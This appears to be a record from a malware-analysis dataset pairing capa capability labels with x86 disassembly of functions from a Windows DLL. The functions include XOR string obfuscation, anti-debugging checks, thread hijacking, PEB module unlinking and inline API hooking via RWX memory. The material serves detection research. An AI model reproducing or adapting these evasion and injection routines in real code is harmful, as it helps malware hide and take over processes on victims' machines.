joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10016800
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10041660
mov eax, dword fs:[0]
push eax
sub esp, 0x78
push ebx
push esi
mov eax, dword [0x10055014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov bl, byte [0x1005778c]
cmp bl, 0x41
je 0x10016954
mov ecx, 0xd78dd4
xor bh, bh
call fcn.100164e0
mov ecx, eax
call fcn.10001db0
cmp ecx, eax
jne 0x10016863
mov ecx, 0xd78dd4
call fcn.100164e0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp esi, eax
je 0x10016865
mov bh, 1
call fcn.10001dc0
cmp dword [0x100577f8], eax
mov edx, 1
movzx ecx, bh
cmovne ecx, edx
mov dword [ebp - 0x14], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov ecx, eax
call fcn.10013880
mov ecx, 0xd78dd4
mov esi, eax
call fcn.100164e0
cmp esi, eax
jne 0x100168c3
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov ecx, eax
call fcn.10013880
mov ecx, dword [0x1005777c]
mov esi, eax
call fcn.10013880
cmp eax, esi
jne 0x100168c3
cmp byte [ebp - 0x14], 0
je 0x10016954
movaps xmm0, xmmword [0x1004d060]
xor ecx, ecx
movups xmmword [ebp - 0x80], xmm0
movzx eax, bl
movaps xmm0, xmmword [0x1004d530]
push eax
movups xmmword [ebp - 0x70], xmm0
mov dword [ebp - 0x60], 0x3d20263c
mov word [ebp - 0x5c], 0x3e
nop dword [eax]
mov al, byte [ebp - 0x80]
xor byte [ebp + ecx - 0x7f], al
inc ecx
cmp ecx, 0x24
jb 0x100168f0
sub esp, 0x18
mov byte [ebp - 0x5b], 0
lea eax, [ebp - 0x7f]
mov ecx, esp
push eax
call fcn.100028c0
lea eax, [ebp - 0x58]
push eax
call fcn.1000bad0
add esp, 0x20
mov ecx, eax
mov dword [ebp - 4], 0
call fcn.10019f40
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x44]
cmp eax, 0x10
jb 0x10016942
inc eax
push eax
push dword [ebp - 0x58]
call fcn.100026c0
mov dword [ebp - 0x44], 0xf
mov dword [ebp - 0x48], 0
mov byte [ebp - 0x58], 0
call fcn.10025620
test eax, eax
je 0x100169db
movaps xmm0, xmmword [0x1004cfe0]
xor ecx, ecx
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x101511
mov al, byte [ebp - 0x28]
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 0x12
jb 0x10016971
cmp byte [ebp - 0x27], 0
mov byte [ebp - 0x15], 0
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x40], 0
jne 0x1001699e
xor ecx, ecx
jmp 0x100169ad
lea ecx, [ebp - 0x27]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100169a4
sub ecx, edx
push ecx
lea eax, [ebp - 0x27]
push eax
lea ecx, [ebp - 0x40]
call fcn.100027c0
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], 1
call fcn.10019f40
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x100169db
inc eax
push eax
push dword [ebp - 0x40]
call fcn.100026c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10018360
Capabilities:
Execute anti-debugging instructions
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10041737
mov eax, dword fs:[0]
push eax
sub esp, 0x134
mov eax, dword [0x10055014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x118]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x118]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp byte [ebp - 0x118], 0
jne 0x100183c3
xor ecx, ecx
jmp 0x100183d9
lea ecx, [ebp - 0x118]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100183d0
sub ecx, edx
push ecx
lea eax, [ebp - 0x118]
mov ecx, 0x1005bd04
push eax
call fcn.100027c0
mov cl, 0x58
mov byte [ebp - 0x11a], 0
mov al, 4
mov byte [ebp - 0x11c], cl
xor al, cl
mov byte [ebp - 0x11a], 0
mov byte [ebp - 0x11b], al
jne 0x10018411
xor ecx, ecx
jmp 0x10018429
lea ecx, [ebp - 0x11b]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10018420
sub ecx, edx
push ecx
push ecx
lea eax, [ebp - 0x11b]
push eax
call fcn.1001a500
push 0xffffffffffffffff
inc eax
mov ecx, 0x1005bd04
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.10006980
mov esi, eax
cmp esi, 0x1005bd04
je 0x10018494
mov ecx, dword [0x1005bd18]
cmp ecx, 0x10
jb 0x1001846e
inc ecx
push ecx
push dword [0x1005bd04]
call fcn.100026c0
push esi
mov ecx, 0x1005bd04
mov dword [0x1005bd18], 0xf
mov dword [0x1005bd14], 0
mov byte [0x1005bd04], 0
call fcn.10005ba0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x12c]
cmp eax, 0x10
jb 0x100184b3
inc eax
push eax
push dword [ebp - 0x140]
call fcn.100026c0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [0x1005777c], eax
call fcn.10001dc0
mov dword [0x100577f8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call fcn.1000bf60
call fcn.1000c040
call fcn.10002e00
sidt [ebp - 0x124]
mov eax, dword [ebp - 0x122]
and eax, 0xff000000
cmp eax, 0xff000000
jne 0x1001850f
push 9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.10002e70
call fcn.10002f20
test al, al
jne 0x100184f8
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x128], 0
rdtsc
mov dword [ebp - 0x124], eax
rdtsc
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
sub eax, dword [ebp - 0x124]
cmp eax, 0x1f4
ja 0x100184f8
call fcn.10002fd0
call fcn.10024fc0
mov dword [0x100577fc], eax
test eax, eax
je 0x1001856e
mov ecx, eax
call fcn.10025170
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003ce35
mov esp, ebp
pop ebp
ret
Function at 0x10019b50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x10055014]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1004d7b0]
xor ecx, ecx
mov eax, dword [0x100577d4]
push ebx
push esi
push edi
mov dword [ebp - 0x3c], eax
movups xmmword [ebp - 0x38], xmm0
mov byte [ebp - 0x28], 0
nop dword [eax]
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0xf
jb 0x10019b80
sub esp, 0x18
mov byte [ebp - 0x28], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [ebp - 0x37], 0
jne 0x10019bb1
xor ecx, ecx
jmp 0x10019bc0
lea ecx, [ebp - 0x37]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10019bb7
sub ecx, esi
push ecx
lea eax, [ebp - 0x37]
mov ecx, edx
push eax
call fcn.100027c0
lea ecx, [ebp - 0x1c]
call fcn.10039d50
mov edi, dword [ebp - 8]
add esp, 0x18
cmp dword [0x100577d0], 0
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x24], 0
jbe 0x10019c39
xor edx, edx
mov dword [ebp - 0x20], edx
cmp edi, 0x10
lea ecx, [ebp - 0x1c]
cmovae ecx, ebx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10019c00
sub ecx, esi
mov eax, edx
cmp edi, 0x10
lea esi, [ebp - 0x1c]
cmovae esi, ebx
xor edx, edx
div ecx
mov ecx, dword [ebp - 0x20]
mov al, byte [edx + esi]
mov edx, dword [ebp - 0x3c]
xor byte [ecx + edx], al
mov eax, dword [ebp - 0x24]
inc eax
movzx edx, ax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
cmp edx, dword [0x100577d0]
jb 0x10019bf2
cmp edi, 0x10
jb 0x10019c48
lea eax, [edi + 1]
push eax
push ebx
call fcn.100026c0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003ce35
mov esp, ebp
pop ebp
ret
Function at 0x10019d30
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100418e0
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x50
mov eax, dword [0x10055014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x1005778e], 0
je 0x10019f22
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call esi
sub eax, dword [0x100577f0]
sbb edx, dword [0x100577f4]
mov dword [ebp - 0x5c], edx
jne 0x10019d9f
cmp eax, 0xbb8
jb 0x10019f22
call esi
movaps xmm0, xmmword [0x1004ce30]
xor ecx, ecx
mov dword [0x100577f0], eax
mov dword [0x100577f4], edx
movups xmmword [ebp - 0x24], xmm0
nop dword [eax]
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0xe
jb 0x10019dc0
sub esp, 0x18
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x23]
mov ecx, esp
push eax
call fcn.100028c0
lea ecx, [ebp - 0x48]
call fcn.10039d50
add esp, 0x18
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x18], 0
movq qword [ebp - 0x20], xmm0
mov byte [ebp - 0x49], 0xa1
mov dword [ebp - 0x30], vtable.ByteBuffer.0
mov byte [ebp - 0x2c], 1
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
push 0x1000
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 1
call fcn.1000ea80
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x1c]
mov edi, edx
mov ecx, dword [ebp - 0x20]
sub edi, ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], vtable.Packet.0
cmp edi, 0x989680
ja 0x10019e8a
lea esi, [eax + 1]
cmp edi, esi
jae 0x10019e7d
push esi
lea ecx, [ebp - 0x20]
call fcn.1000e9c0
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov dl, byte [ebp - 0x49]
mov byte [ecx + eax], dl
inc eax
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
sub edx, ecx
mov byte [ebp - 4], 3
mov byte [ebp - 0x49], 0xa5
cmp edx, 0x989680
ja 0x10019ebc
lea esi, [eax + 1]
cmp edx, esi
jae 0x10019eb2
push esi
lea ecx, [ebp - 0x20]
call fcn.1000e9c0
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov dl, byte [ebp - 0x49]
mov byte [ecx + eax], dl
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0x30]
cmovae eax, dword [ebp - 0x48]
push eax
call fcn.1001b9c0
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x54], eax
cmp ecx, 0x4000
ja 0x10019f01
mov eax, dword [0x10057778]
mov dword [ebp - 0x5c], eax
mov ecx, dword ds:[0x10044b18]
mov ecx, dword ds:[ecx]
push dword [ebp - 0x50]
push dword [ebp - 0x54]
call dword [ebp - 0x5c]
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], vtable.ByteBuffer.0
call fcn.1000eb80
mov eax, dword [ebp - 0x34]
cmp eax, 0x10
jb 0x10019f22
inc eax
push eax
push dword [ebp - 0x48]
call fcn.100026c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1003ce35
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x1001a110
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004197c
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x10055014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x38], esi
push 0
push 0
push 3
push 0
push 3
push 0
push str..PhysicalDrive0
mov dword [ebp - 0x3c], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1001a17b
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
jmp 0x1001a2e3
xorps xmm0, xmm0
movq qword [ebp - 0x28], xmm0
mov dword [ebp - 0x28], fcn.1001a310
mov dword [ebp - 0x24], edi
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 0
push eax
push 8
lea eax, [ebp - 0x30]
movq qword [ebp - 0x20], xmm0
push eax
push 0xc
lea eax, [ebp - 0x20]
mov dword [ebp - 0x18], 0
push eax
push 0x2d1400
push edi
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
movq qword [ebp - 0x30], xmm0
mov dword [ebp - 0x14], 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x1001a201
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], eax
cmp dword [esi + 0x14], 0x10
jb 0x1001a1f0
mov eax, dword [esi]
jmp 0x1001a1f2
mov eax, esi
mov byte [eax], 0
mov dword [ebp - 4], 1
jmp 0x1001a2d6
mov eax, dword [ebp - 0x2c]
push eax
mov dword [ebp - 0x38], eax
call fcn.1003d42f
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x1001a226
push dword [ebp - 0x38]
push 0
push ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
jmp 0x1001a228
xor ebx, ebx
mov dword [ebp - 0x34], ebx
push 0
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
push dword [ebp - 0x38]
lea eax, [ebp - 0x20]
push ebx
push 0xc
push eax
push 0x2d1400
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x1001a284
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], eax
jb 0x1001a269
mov eax, dword [esi]
jmp 0x1001a26b
mov eax, esi
mov byte [eax], 0
test ebx, ebx
je 0x1001a27b
push ebx
call fcn.1003d438
add esp, 4
mov dword [ebp - 4], 3
jmp 0x1001a2d6
mov eax, dword [ebx + 0x18]
test eax, eax
jne 0x1001a2bc
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], eax
jb 0x1001a2a5
mov eax, dword [esi]
jmp 0x1001a2a7
mov eax, esi
push ebx
mov byte [eax], 0
call fcn.1003d438
add esp, 4
mov dword [ebp - 4], 4
jmp 0x1001a2d6
add eax, ebx
mov ecx, esi
push eax
call fcn.100028c0
push ebx
call fcn.1003d438
add esp, 4
mov dword [ebp - 4], 5
test edi, edi
je 0x1001a2e3
push edi
call fcn.1001a310
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003ce35
mov esp, ebp
pop ebp
ret
Function at 0x1001f0d0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10055014]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm0, xmmword [str._pipediscord_ipc_0]
mov eax, dword [0x1004bd38]
push ebx
push esi
push edi
push 0
push 0
mov dword [ebp - 0xc], eax
mov esi, ecx
mov ax, word [0x1004bd3c]
push 3
movups xmmword [ebp - 0x34], xmm0
push 0
movups xmm0, xmmword [0x1004bd20]
mov word [ebp - 8], ax
mov eax, 0x30
push 0
mov word [ebp - 0xa], ax
lea eax, [ebp - 0x34]
movups xmmword [ebp - 0x24], xmm0
push 0xc0000000
movq xmm0, qword [0x1004bd30]
push eax
movq qword [ebp - 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x1001f1a0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
call edi
cmp eax, 2
jne 0x1001f169
mov ax, word [ebp - 0xa]
cmp ax, 0x39
jae 0x1001f1b6
inc ax
mov word [ebp - 0xa], ax
jmp 0x1001f17f
cmp eax, 0xe7
jne 0x1001f1b6
push 0x2710
lea eax, [ebp - 0x34]
push eax
call ebx
test eax, eax
je 0x1001f1b6
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
je 0x1001f150
pop edi
mov byte [esi], 1
mov al, 1
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003ce35
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003ce35
mov esp, ebp
pop ebp
ret
Function at 0x10020fe0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, ecx
mov ebx, 1
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [eax + 8], edi
mov dword [eax + 0xc], esi
add eax, 0x10
mov dword [ebp + 0xc], eax
push 0x5851f42d
xor eax, eax
mov ecx, esi
push 0x4c957f2d
shr ecx, 0x1e
xor eax, esi
xor ecx, edi
push eax
push ecx
call fcn.1003fcf0
mov edi, eax
mov esi, edx
mov eax, ebx
cdq
add edi, eax
mov eax, dword [ebp + 0xc]
adc esi, edx
inc ebx
mov dword [eax], edi
mov dword [eax + 4], esi
add eax, 8
mov dword [ebp + 0xc], eax
cmp ebx, 0x138
jl 0x10021003
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov dword [eax], 0x138
mov esp, ebp
pop ebp
ret 0x10

Function at 0x10024fc0
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x10055014]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x74
mov dword [ebp - 0x2f4], 0x18002674
mov dword [ebp - 0x2f0], 0x10151b38
xor eax, eax
mov dword [ebp - 0x2ec], 0x1d060027
mov word [ebp - 0x2e8], 0x131a
mov byte [ebp - 0x2e6], 0
xor byte [ebp + eax - 0x2f3], cl
inc eax
cmp eax, 0xd
jae 0x1002501a
mov cl, byte [ebp - 0x2f4]
jmp 0x10025005
push ebx
mov byte [ebp - 0x2e4], 0x52
mov al, 0x3c
xor al, byte [ebp - 0x2e4]
mov bl, 0x3e
mov ah, bl
mov byte [ebp - 0x2e3], al
mov al, byte [ebp - 0x2e4]
mov dl, 0x36
mov bh, ah
mov byte [ebp - 0x2d5], ah
xor bl, al
mov byte [ebp - 0x2da], 0
xor ah, al
mov byte [ebp - 0x2e6], 0
xor bh, al
mov byte [ebp - 0x2df], ah
mov dh, dl
mov byte [ebp - 0x2e0], bl
xor dl, al
mov byte [ebp - 0x2dc], bh
xor dh, al
mov byte [ebp - 0x2e1], dl
mov cl, 0x26
mov byte [ebp - 0x2dd], dh
xor cl, al
mov byte [ebp - 0x2da], 0
mov ch, 0x7c
mov byte [ebp - 0x2e2], cl
xor ch, al
mov al, byte [ebp - 0x2d5]
xor al, byte [ebp - 0x2e4]
mov byte [ebp - 0x2db], al
lea eax, [ebp - 0x2f3]
push esi
push eax
lea eax, [ebp - 0x2e3]
mov byte [ebp - 0x2de], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], 0
lea esi, [eax + 0x430]
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x2cc
lea eax, [ebp - 0x2d4]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2d4]
mov dword [ebp - 0x2d4], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2d4]
mov dword [ebp - 0x224], 0x10001f20
push eax
push esi
mov dword [ebp - 0x2d4], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003ce35
mov esp, ebp
pop ebp
ret
Function at 0x10025170
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movaps xmm0, xmmword [0x1004d5e0]
xor eax, eax
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x18], 0x59437f45
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0x4f4a4e
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x10025196
mov byte [ebp - 0x10], 0x29
mov al, 0x47
xor al, byte [ebp - 0x10]
mov bl, 0x45
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0x4d
mov bh, ah
mov byte [ebp - 1], ah
xor bl, al
mov byte [ebp - 6], 0
xor ah, al
mov byte [ebp - 0x11], 0
xor bh, al
mov byte [ebp - 0xb], ah
mov dh, dl
mov byte [ebp - 0xc], bl
xor dl, al
mov byte [ebp - 8], bh
xor dh, al
mov byte [ebp - 0xd], dl
mov cl, 0x5d
mov byte [ebp - 9], dh
xor cl, al
mov byte [ebp - 6], 0
mov ch, 7
mov byte [ebp - 0xe], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0xf]
mov byte [ebp - 0xa], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
jne 0x1002521f
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0x11
test esi, esi
jne 0x1002523e
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
test eax, eax
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call edi
pop edi
test eax, eax
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10025250
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1002528e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10025292
cmp edx, esi
jne 0x10025277
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x100252b2
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100252b6
cmp edx, esi
jne 0x1002529b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x100252d6
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100252da
cmp edx, esi
jne 0x100252bf
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10025cb0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x10055014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov byte [ebp - 0x1c], 0x35
mov al, 0x5b
xor al, byte [ebp - 0x1c]
mov bl, 0x59
mov ah, bl
mov byte [ebp - 0x1b], al
mov al, byte [ebp - 0x1c]
mov dl, 0x51
mov bh, ah
mov byte [ebp - 0xd], ah
mov dh, dl
mov byte [ebp - 0x12], 0
xor dl, al
mov byte [ebp - 0x12], 0
xor bl, al
mov byte [ebp - 0x19], dl
xor ah, al
mov byte [ebp - 0x18], bl
xor dh, al
mov byte [ebp - 0x17], ah
xor bh, al
mov byte [ebp - 0x15], dh
mov cl, 0x41
mov byte [ebp - 0x14], bh
xor cl, al
mov ch, 0x1b
xor ch, al
mov byte [ebp - 0x1a], cl
mov al, byte [ebp - 0xd]
xor al, byte [ebp - 0x1c]
mov byte [ebp - 0x13], al
lea eax, [ebp - 0x1b]
push eax
mov byte [ebp - 0x16], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movaps xmm0, xmmword [0x1004d180]
mov edx, eax
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x10150e
xor ecx, ecx
mov al, byte [ebp - 0x30]
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0x12
jb 0x10025d37
lea eax, [ebp - 0x2f]
mov byte [ebp - 0x1d], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov ecx, 5
add ecx, ecx
mov ebx, eax
setb dl
neg edx
or edx, ecx
push edx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push 5
push ebx
call edi
mov ecx, dword [ebx]
mov dword [esi], ecx
mov al, byte [ebx + 4]
mov byte [esi + 4], al
add esi, 5
mov eax, ebx
sub eax, esi
mov dword [esi + 1], eax
mov eax, 0x10025720
sub eax, ebx
mov byte [esi], 0xe9
sub eax, 5
mov byte [ebx], 0xe9
mov dword [ebx + 1], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 5
push ebx
call edi
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push ecx
push 0x40
lea eax, [esi - 5]
push 5
push eax
mov dword [0x1005b858], eax
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003ce35
mov esp, ebp
pop ebp
ret